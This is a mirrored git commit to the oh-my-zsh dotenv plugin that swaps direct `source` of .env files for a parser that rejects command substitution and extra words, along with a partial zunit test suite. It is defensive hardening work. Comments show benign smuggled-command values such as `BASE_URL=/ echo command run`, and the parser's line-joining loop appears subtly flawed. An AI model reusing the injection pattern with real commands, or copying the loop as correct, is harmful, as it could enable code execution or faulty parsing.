mirror of
https://github.com/ohmyzsh/ohmyzsh.git
synced 2026-05-29 04:53:17 +02:00
fix(dotenv): implement secure parsing for .env files and add comprehensive tests
This commit is contained in:
Marc Cornellà
parent
139bc2b5a1
commit
2014363332
10 changed files with 850 additions and 1 deletions
9
plugins/dotenv/.zunit.yml
Normal file
9
plugins/dotenv/.zunit.yml
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
tap: false
|
||||||
|
directories:
|
||||||
|
tests: tests
|
||||||
|
output: tests/_output
|
||||||
|
support: tests/_support
|
||||||
|
time_limit: 0
|
||||||
|
fail_fast: false
|
||||||
|
allow_risky: false
|
||||||
|
verbose: true
|
||||||
|
|
@ -86,6 +86,14 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t
|
||||||
|
|
||||||
No additional configuration is required — the plugin automatically detects and sources named pipes.
|
No additional configuration is required — the plugin automatically detects and sources named pipes.
|
||||||
|
|
||||||
|
## Tests
|
||||||
|
|
||||||
|
The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its documentation, then run:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
zunit plugins/dotenv/tests/test_run.sh
|
||||||
|
```
|
||||||
|
|
||||||
## Version Control
|
## Version Control
|
||||||
|
|
||||||
**It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
|
**It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
|
||||||
|
|
|
||||||
|
|
@ -10,6 +10,138 @@
|
||||||
|
|
||||||
## Functions
|
## Functions
|
||||||
|
|
||||||
|
parse_dotenv() {
|
||||||
|
setopt localoptions extendedglob
|
||||||
|
|
||||||
|
local filename="$1"
|
||||||
|
local mode="${2:-export}"
|
||||||
|
|
||||||
|
# Validate mode argument
|
||||||
|
case "$mode" in
|
||||||
|
export|test) ;;
|
||||||
|
*)
|
||||||
|
echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
|
||||||
|
return 1
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
local content node line key value
|
||||||
|
local -A parsed_vars
|
||||||
|
local -a nodes lines
|
||||||
|
|
||||||
|
# Read entire file
|
||||||
|
content="$(<$filename)" || return 1
|
||||||
|
|
||||||
|
# Parse into command lines separated by `;`, with built-in support for multi-line commands.
|
||||||
|
# (Z:C:) ignores comments and preserves quotes and escapes.
|
||||||
|
#
|
||||||
|
# All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
|
||||||
|
# by joining all elements between ';'.
|
||||||
|
#
|
||||||
|
# Example input:
|
||||||
|
# VAR1=value1; VAR2=value2
|
||||||
|
# VAR3="multi
|
||||||
|
# line value"
|
||||||
|
#
|
||||||
|
# Result:
|
||||||
|
# typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
|
||||||
|
# typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
|
||||||
|
#
|
||||||
|
nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
|
||||||
|
for node in "${nodes[@]}"; do
|
||||||
|
if [[ "$node" == ";" ]]; then
|
||||||
|
if [[ -n "$line" ]]; then
|
||||||
|
lines+=("$line")
|
||||||
|
line=""
|
||||||
|
fi
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
[[ -z "$line" ]] || line+=" "
|
||||||
|
line="$node"
|
||||||
|
done
|
||||||
|
# typeset -p nodes lines
|
||||||
|
|
||||||
|
# Each line contains a single command line, we need to parse valid KEY=VALUE pairs
|
||||||
|
for line in "${lines[@]}"; do
|
||||||
|
# Strip leading 'export ' keyword
|
||||||
|
line="${line#export[ ]}"
|
||||||
|
|
||||||
|
# Match KEY=VALUE pattern
|
||||||
|
# "A name may be any sequence of alphanumeric characters and underscores"
|
||||||
|
# https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
|
||||||
|
if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
key="${match[1]}"
|
||||||
|
value="${match[2]}"
|
||||||
|
|
||||||
|
# Use tokenization to split value with native shell parsing (handles quotes and escapes)
|
||||||
|
# Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
|
||||||
|
local -a words
|
||||||
|
words=("${(@z)value}")
|
||||||
|
if [[ ${#words} -ne 1 ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
|
||||||
|
## START: FILTER COMMAND EXPANSION
|
||||||
|
#
|
||||||
|
# Filter lines with command expansion not in safe contexts
|
||||||
|
#
|
||||||
|
# Reader's note: this is actually a "best effort" check (works in tests), but
|
||||||
|
# only to prevent setting variables with command substitution. The actual effect
|
||||||
|
# of setting them would not be a vulnerability, because we use `typeset name=value`
|
||||||
|
# and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
|
||||||
|
#
|
||||||
|
# What does this mean? If we remove remove this filter block, this is what happens:
|
||||||
|
#
|
||||||
|
# Input: DANGEROUS=$(echo this is a command)
|
||||||
|
# Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
|
||||||
|
#
|
||||||
|
# Check for potential command substitution outside of safe contexts
|
||||||
|
local sq dq uq safe remainder
|
||||||
|
# - single-quoted strings: command substitution is literal there
|
||||||
|
sq="'[^']#'"
|
||||||
|
# - double-quoted strings, but NOT unescaped ` or $(
|
||||||
|
dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
|
||||||
|
# - unquoted text, but NOT unescaped ` or $(
|
||||||
|
uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
|
||||||
|
safe="(${sq}|${dq}|${uq})#"
|
||||||
|
# Remove the longest safe prefix; what remains starts at first unsafe construct
|
||||||
|
remainder="${value##${~safe}}"
|
||||||
|
|
||||||
|
if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
|
||||||
|
continue
|
||||||
|
fi
|
||||||
|
## END: FILTER COMMAND EXPANSION
|
||||||
|
|
||||||
|
# Unquote the value to handle special characters and multiline values
|
||||||
|
value="${(Q)value}"
|
||||||
|
|
||||||
|
# Expand variables from in-file parsed vars (same as double-quoted)
|
||||||
|
local expanded="$value"
|
||||||
|
for var_name in "${(@k)parsed_vars}"; do
|
||||||
|
local var_value="${parsed_vars[$var_name]}"
|
||||||
|
expanded="${expanded//\$\{${var_name}\}/${var_value}}"
|
||||||
|
expanded="${expanded//\$${var_name}/${var_value}}"
|
||||||
|
done
|
||||||
|
value="$expanded"
|
||||||
|
|
||||||
|
# Store in parsed vars (for in-file expansion)
|
||||||
|
parsed_vars[$key]="$value"
|
||||||
|
|
||||||
|
# Normal mode: export the variable
|
||||||
|
if [[ "$mode" == "export" ]]; then
|
||||||
|
typeset -x "$key"="$value"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# In test mode, set DOTENV_TEST_VARS
|
||||||
|
typeset -gA DOTENV_TEST_VARS
|
||||||
|
DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
|
||||||
|
}
|
||||||
|
|
||||||
source_env() {
|
source_env() {
|
||||||
if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
|
if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
|
||||||
return
|
return
|
||||||
|
|
@ -58,7 +190,7 @@ source_env() {
|
||||||
}
|
}
|
||||||
|
|
||||||
setopt localoptions allexport
|
setopt localoptions allexport
|
||||||
source $ZSH_DOTENV_FILE
|
parse_dotenv "$ZSH_DOTENV_FILE"
|
||||||
}
|
}
|
||||||
|
|
||||||
autoload -U add-zsh-hook
|
autoload -U add-zsh-hook
|
||||||
|
|
|
||||||
2
plugins/dotenv/tests/_output/.gitignore
vendored
Normal file
2
plugins/dotenv/tests/_output/.gitignore
vendored
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
*
|
||||||
|
!.gitignore
|
||||||
139
plugins/dotenv/tests/_support/bootstrap
Normal file
139
plugins/dotenv/tests/_support/bootstrap
Normal file
|
|
@ -0,0 +1,139 @@
|
||||||
|
#!/usr/bin/env zsh
|
||||||
|
# Bootstrap script for dotenv plugin tests
|
||||||
|
# This is sourced before any tests run and provides shared utilities
|
||||||
|
|
||||||
|
# Load the dotenv plugin
|
||||||
|
source "$PWD/dotenv.plugin.zsh"
|
||||||
|
ZSH_DOTENV_PROMPT=false
|
||||||
|
ZSH_DOTENV_FILE=/dev/null
|
||||||
|
|
||||||
|
# Helper: Parse dotenv file in test mode
|
||||||
|
_parse_dotenv_test() {
|
||||||
|
parse_dotenv "$1" "test"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Helper: Parse dotenv file in export mode
|
||||||
|
_parse_dotenv_export() {
|
||||||
|
unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
|
||||||
|
|
||||||
|
parse_dotenv "$1" "test"
|
||||||
|
|
||||||
|
for key in "${(k)DOTENV_TEST_VARS}"; do
|
||||||
|
typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
|
||||||
|
done
|
||||||
|
}
|
||||||
|
|
||||||
|
# Helper: Run parse_dotenv supressing stderr
|
||||||
|
_parse_dotenv_quiet() {
|
||||||
|
parse_dotenv "$@" 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
# Helper: Create a temporary test fixture
|
||||||
|
_create_temp_fixture() {
|
||||||
|
local fixture
|
||||||
|
fixture==(:) # Create temp file
|
||||||
|
echo "$fixture"
|
||||||
|
}
|
||||||
|
|
||||||
|
_write_temp_fixture() {
|
||||||
|
local fixture="$1"
|
||||||
|
> "$fixture"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
# Helper: Source file with allexport and capture variables
|
||||||
|
# Usage: _source_with_allexport "file.env"
|
||||||
|
# Result is in DOTENV_SOURCE_VARS associative array
|
||||||
|
_source_with_allexport() {
|
||||||
|
local filename="$1"
|
||||||
|
|
||||||
|
# Source with allexport in a subshell with no exported variables
|
||||||
|
|
||||||
|
# The return and capture of the exported variables is a bit of a pain:
|
||||||
|
# 1. We first store the key=value pairs in $vars associative array, which is
|
||||||
|
# defined before allexport is set to avoid appearing in results.
|
||||||
|
# 2. Afterwards, we join all keys and values of the associative with null delimiters. With
|
||||||
|
# "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
|
||||||
|
# we join them with nulls.
|
||||||
|
# 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
|
||||||
|
# empty values, and then uses it to populate an associative array.
|
||||||
|
# Don't try to understand this or change it unless you have to. Debugging is a nightmare.
|
||||||
|
typeset -gA DOTENV_SOURCE_VARS
|
||||||
|
DOTENV_SOURCE_VARS=("${(@0)"$(
|
||||||
|
local -A vars
|
||||||
|
|
||||||
|
# Clear all exports first
|
||||||
|
zmodload zsh/parameter
|
||||||
|
unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
|
||||||
|
|
||||||
|
# Source file with allexport
|
||||||
|
setopt localoptions allexport
|
||||||
|
source "$filename"
|
||||||
|
|
||||||
|
# Set all exported variables into an associative array
|
||||||
|
for key in ${(k)parameters[(R)*export*]}; do
|
||||||
|
vars[$key]="${(P)key}"
|
||||||
|
done
|
||||||
|
|
||||||
|
print -rn -- "${(@kvpj:\0:)vars}"
|
||||||
|
)"}")
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
## ZUnit assertion helpers
|
||||||
|
|
||||||
|
_zunit_assert_function_exists() {
|
||||||
|
[[ "${+functions[$1]}" -eq 1 ]] && return 0
|
||||||
|
echo "Function '$1' does not exist"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_zunit_assert_var_same_as() {
|
||||||
|
local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
|
||||||
|
if [[ $tvalue != $tcomp ]]; then
|
||||||
|
echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
|
||||||
|
exit 78
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Special case for associative arrays
|
||||||
|
if [[ ${(Pt)1} == "association" ]]; then
|
||||||
|
local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
|
||||||
|
local -aU keys=("${(@k)value}" "${(@k)comparison}")
|
||||||
|
|
||||||
|
local ret=0 key
|
||||||
|
for key in "${keys[@]}"; do
|
||||||
|
# Key match checks
|
||||||
|
if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
|
||||||
|
echo "'$1[$key]' is set"
|
||||||
|
ret=1
|
||||||
|
elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
|
||||||
|
echo "'$1[$key]' is not set"
|
||||||
|
ret=1
|
||||||
|
# Value match checks
|
||||||
|
elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
|
||||||
|
echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
|
||||||
|
ret=1
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
exit $ret
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Generic case
|
||||||
|
local value="${(P)1}" comparison="${(P)2}"
|
||||||
|
[[ "$value" != "$comparison" ]] || exit 0
|
||||||
|
echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_zunit_assert_var_is_set() {
|
||||||
|
[[ -v "$1" ]] && return 0
|
||||||
|
echo "Variable '$1' is not set"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_zunit_assert_var_is_not_set() {
|
||||||
|
[[ ! -v "$1" ]] && return 0
|
||||||
|
echo "Variable '$1' is set"
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
88
plugins/dotenv/tests/_support/fixtures/dotenvjs.env
Normal file
88
plugins/dotenv/tests/_support/fixtures/dotenvjs.env
Normal file
|
|
@ -0,0 +1,88 @@
|
||||||
|
# Consolidated dotenv test fixture from dotenv test suite
|
||||||
|
# Source: https://github.com/motdotla/dotenv/tree/master/tests
|
||||||
|
#
|
||||||
|
# Copyright (c) 2015, Scott Motte
|
||||||
|
# All rights reserved.
|
||||||
|
|
||||||
|
# Redistribution and use in source and binary forms, with or without
|
||||||
|
# modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
# * Redistributions of source code must retain the above copyright notice, this
|
||||||
|
# list of conditions and the following disclaimer.
|
||||||
|
|
||||||
|
# * Redistributions in binary form must reproduce the above copyright notice,
|
||||||
|
# this list of conditions and the following disclaimer in the documentation
|
||||||
|
# and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
|
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
|
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||||
|
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||||
|
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
|
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
|
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|
||||||
|
# Basic assignments
|
||||||
|
BASIC=basic
|
||||||
|
|
||||||
|
# previous line intentionally left blank
|
||||||
|
AFTER_LINE=after_line
|
||||||
|
|
||||||
|
# Empty values
|
||||||
|
EMPTY=
|
||||||
|
EMPTY_SINGLE_QUOTES=''
|
||||||
|
EMPTY_DOUBLE_QUOTES=""
|
||||||
|
|
||||||
|
# Single quotes (literal, no expansion)
|
||||||
|
SINGLE_QUOTES='single_quotes'
|
||||||
|
SINGLE_QUOTES_SPACED=' single quotes '
|
||||||
|
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
|
||||||
|
|
||||||
|
# Double quotes (with escapes)
|
||||||
|
DOUBLE_QUOTES="double_quotes"
|
||||||
|
DOUBLE_QUOTES_SPACED=" double quotes "
|
||||||
|
EXPAND_NEWLINES="expand\nnew\nlines"
|
||||||
|
|
||||||
|
# Unquoted (no escape expansion)
|
||||||
|
DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
|
||||||
|
|
||||||
|
# Quotes inside quotes
|
||||||
|
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
|
||||||
|
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
|
||||||
|
|
||||||
|
# Comments
|
||||||
|
# COMMENTS=work
|
||||||
|
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
|
||||||
|
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
|
||||||
|
INLINE_COMMENTS_UNQUOTED=value # work
|
||||||
|
|
||||||
|
# Special characters
|
||||||
|
EQUAL_SIGNS=equals==
|
||||||
|
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
|
||||||
|
USEREMAIL=therealnerdybeast@example.tld
|
||||||
|
|
||||||
|
# Multiline values with double quotes
|
||||||
|
MULTI_DOUBLE_QUOTED="THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING"
|
||||||
|
|
||||||
|
# Multiline values with single quotes
|
||||||
|
MULTI_SINGLE_QUOTED='THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING'
|
||||||
|
|
||||||
|
# Multiline PEM certificate
|
||||||
|
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
|
||||||
|
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
|
||||||
|
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
|
||||||
|
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
|
||||||
|
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
|
||||||
|
u4QuUoobAgMBAAE=
|
||||||
|
-----END PUBLIC KEY-----"
|
||||||
23
plugins/dotenv/tests/_support/fixtures/features.env
Normal file
23
plugins/dotenv/tests/_support/fixtures/features.env
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
# Export syntax
|
||||||
|
export EXPORTED_VAR=exported_value
|
||||||
|
export EXPORTED_EMPTY=
|
||||||
|
|
||||||
|
# Variable expansion (in-file forward references)
|
||||||
|
BASE_URL=https://api.example.com
|
||||||
|
API_ENDPOINT="${BASE_URL}/v1"
|
||||||
|
FULL_ENDPOINT=$BASE_URL/v2/users
|
||||||
|
COMBINED="${BASE_URL}_suffix"
|
||||||
|
|
||||||
|
# Testing multiline quoting edge cases
|
||||||
|
MULTILINE_UNQUOTED=This\ is\ a\ \
|
||||||
|
multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
|
||||||
|
MULTILINE_DOUBLE_QUOTED="This is a \
|
||||||
|
multiline value that should be treated as a single line with an actual newline character"
|
||||||
|
MULTILINE_SINGLE_QUOTED='This is a \
|
||||||
|
multiline value that should be treated as a single line with a literal backslash and newline'
|
||||||
|
MULTILINE_MIXED_QUOTES="This is a \
|
||||||
|
multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
|
||||||
|
|
||||||
|
# Test for regressions
|
||||||
|
DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
|
||||||
|
VAR_WITH_SEMICOLONS="value ; with ; semicolons"
|
||||||
257
plugins/dotenv/tests/basic-parsing.zunit
Normal file
257
plugins/dotenv/tests/basic-parsing.zunit
Normal file
|
|
@ -0,0 +1,257 @@
|
||||||
|
#!/usr/bin/env zunit
|
||||||
|
|
||||||
|
|
||||||
|
@setup {
|
||||||
|
typeset -g fixture="$(_create_temp_fixture)"
|
||||||
|
typeset -gA expected_vars=()
|
||||||
|
}
|
||||||
|
|
||||||
|
@teardown {
|
||||||
|
[[ -f "$fixture" ]] && command rm -f "$fixture"
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'dotenv plugin loads successfully' {
|
||||||
|
assert "parse_dotenv" function_exists
|
||||||
|
assert "source_env" function_exists
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse returns error for unsupported mode' {
|
||||||
|
run _parse_dotenv_quiet "/dev/null" "export"
|
||||||
|
assert $state equals 0
|
||||||
|
|
||||||
|
run _parse_dotenv_quiet "/dev/null" "test"
|
||||||
|
assert $state equals 0
|
||||||
|
|
||||||
|
run _parse_dotenv_quiet "/dev/null" "invalid_mode"
|
||||||
|
assert $state equals 1
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse returns error for non-existent file' {
|
||||||
|
run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
|
||||||
|
assert $state equals 1
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse basic variable assignment' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Basic assignments
|
||||||
|
BASIC=basic
|
||||||
|
|
||||||
|
# previous line intentionally left blank
|
||||||
|
AFTER_LINE=after_line
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
BASIC 'basic'
|
||||||
|
AFTER_LINE 'after_line'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse empty values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Empty values
|
||||||
|
EMPTY=
|
||||||
|
EMPTY_SINGLE_QUOTES=''
|
||||||
|
EMPTY_DOUBLE_QUOTES=""
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
EMPTY ''
|
||||||
|
EMPTY_SINGLE_QUOTES ''
|
||||||
|
EMPTY_DOUBLE_QUOTES ''
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse single quoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Single quotes (literal, no expansion)
|
||||||
|
SINGLE_QUOTES='single_quotes'
|
||||||
|
SINGLE_QUOTES_SPACED=' single quotes '
|
||||||
|
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SINGLE_QUOTES 'single_quotes'
|
||||||
|
SINGLE_QUOTES_SPACED ' single quotes '
|
||||||
|
DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse double quoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Double quotes (with escapes)
|
||||||
|
DOUBLE_QUOTES="double_quotes"
|
||||||
|
DOUBLE_QUOTES_SPACED=" double quotes "
|
||||||
|
EXPAND_NEWLINES="expand\nnew\nlines"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
DOUBLE_QUOTES 'double_quotes'
|
||||||
|
DOUBLE_QUOTES_SPACED ' double quotes '
|
||||||
|
EXPAND_NEWLINES "expand\nnew\nlines"
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse unquoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Unquoted (no escape expansion)
|
||||||
|
DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
|
||||||
|
EOF
|
||||||
|
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse quotes inside quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Quotes inside quotes
|
||||||
|
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
|
||||||
|
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
|
||||||
|
SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse inline comments' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Comments
|
||||||
|
# COMMENTS=work
|
||||||
|
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
|
||||||
|
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
|
||||||
|
INLINE_COMMENTS_UNQUOTED=value # work
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
|
||||||
|
INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
|
||||||
|
INLINE_COMMENTS_UNQUOTED 'value'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse special characters' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Special characters
|
||||||
|
EQUAL_SIGNS=equals==
|
||||||
|
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
|
||||||
|
USEREMAIL=therealnerdybeast@example.tld
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
EQUAL_SIGNS 'equals=='
|
||||||
|
RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
|
||||||
|
USEREMAIL 'therealnerdybeast@example.tld'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse multiline values with mixed quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Multiline values with double quotes
|
||||||
|
MULTI_DOUBLE_QUOTED="THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING"
|
||||||
|
|
||||||
|
|
||||||
|
# Multiline values with single quotes
|
||||||
|
MULTI_SINGLE_QUOTED='THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING'
|
||||||
|
|
||||||
|
# Multiline PEM certificate
|
||||||
|
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
|
||||||
|
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
|
||||||
|
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
|
||||||
|
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
|
||||||
|
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
|
||||||
|
u4QuUoobAgMBAAE=
|
||||||
|
-----END PUBLIC KEY-----"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
|
||||||
|
